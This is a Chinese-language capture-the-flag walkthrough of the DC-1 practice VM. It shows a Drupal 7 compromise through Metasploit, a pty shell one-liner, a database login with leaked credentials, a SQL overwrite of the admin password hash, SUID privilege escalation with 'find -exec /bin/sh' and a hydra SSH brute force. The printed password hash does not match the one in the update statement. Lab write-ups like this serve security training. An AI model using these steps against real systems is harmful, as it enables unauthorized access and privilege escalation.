靶机下载地址
https://pan.baidu.com/s/1wABv88zDc5lpjhCWvBhvfg
提取码:5yq7
复制这段内容打开「百度网盘APP 即可获取」
视频教程可以去B站找我
https://www.bilibili.com/video/BV1xN4y1V7Kq?spm_id_from=333.999.0.0&vd_source=5eafc44fe61140563af1835db061815b
DC-1安装非常简单,下载后将.ova 文件导入虚拟机即可
注意导入后将虚拟机的网络模式由桥接模式改为NAT模式
那么,我们开始吧!
首先,我们要找到靶机ip
然后进行端口扫描
我们不妨访问下靶机IP地址,并使用wappalyer识别网站程序为Drupal 7
随后,我们启用Metasploit进行漏洞搜索,选择较新日期且等级优秀的
使用我们中意的1号,并查看相关内容
之后设置被监听主机ip,并进行利用
python -c 'import pty;pty.spawn("/bin/bash")'
获取交互shell
找到flag1
flag1提示Every good CMS needs a config file - and so do you.
提示
下一个flag在CMS的config文件里面
经过简单摸索
我们找到了配置文件settings.php
于是我们在此文件找到了flag2
/**
- flag2
- Brute force and dictionary attacks aren't the
- only ways to gain access (and you WILL need access).
- What can you do with these credentials?
*/
flag2 提示我们暴力破解并不是获取访问权限的方式
而在flag2下我们看到了数据库信息
于是我们进行连接数据库操作
连接语句为
mysql -u dbuser -pR0ck3t
之后我们获取数据库敏感信息
select version(); \查看数据库版本
select database(); \查看当前数据库
show databases; \查看数据库信息
use drupaldb; \选定数据库
select database(); \查看当前数据库
show tables; \查看数据库的表
select * from users;
\q \退出
下来我们在官网查询到哈希密码的加密文件
https://www.drupal.org/node/1023428
我们利用password脚本对我们需要的密码进行加密
结果出现报错
报错中指出,'/var/www/scripts/includes/password.inc'文件找不到,但是刚才发现,includes目录并不在scripts目录下,因此会报错。
使用命令 cp -r ../includes ./ 复制整个includes目录至scripts目录,再次执行,成功对admin007加密
得到对应密文$S$Dq7ooC2R4E/hC3HIoEBV3Cw1QMRnULsFzAn8M1NaW3OLO9cLeUw9
然后进入数据库更新admin密码
update users set pass='$S$DfBIXCmF.dJ5Ky2bWAMukxpsipRCGvQmXC.jnlUMbGIbySLzw7a0' where name='admin';
之后,成功进入后台,得到flag3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.
flag3指出: 特殊权限是需要用到 find 和 -exec 命令,也提到了shadow。就是说提权的话,需要用到以上两个命令,以及shadow文件。
于是,我们尝试查看shadow文件,提示权限不够
那么我们开始提权
以find为例
- -name 按文件名查找
- -exec 对匹配对象执行的命令,以;结束
但(;)是特殊字符需要转义(\)。
so
find -name 文件名 -exec /bin/sh \;
成功拿到权限
之后我们查看shadow文件
法一:这是我最开始使用的
看到flag4后果断切换到flag4用户
然后就拿到了 flag4
这个方法更简单些,不知道算不算原创小技巧
不过显然这么做绝对不是出题人想看到的,hhh
ok,拿到finalflag!!!
法二:
下面是官方解法
看到flag4用户后
我们用hydra进行爆破
hydra -l flag4 -P /usr/share/wordlists/rockyou.txt.gz ssh://192.168.226.134
得到flag4为orange
然后操作思路同法一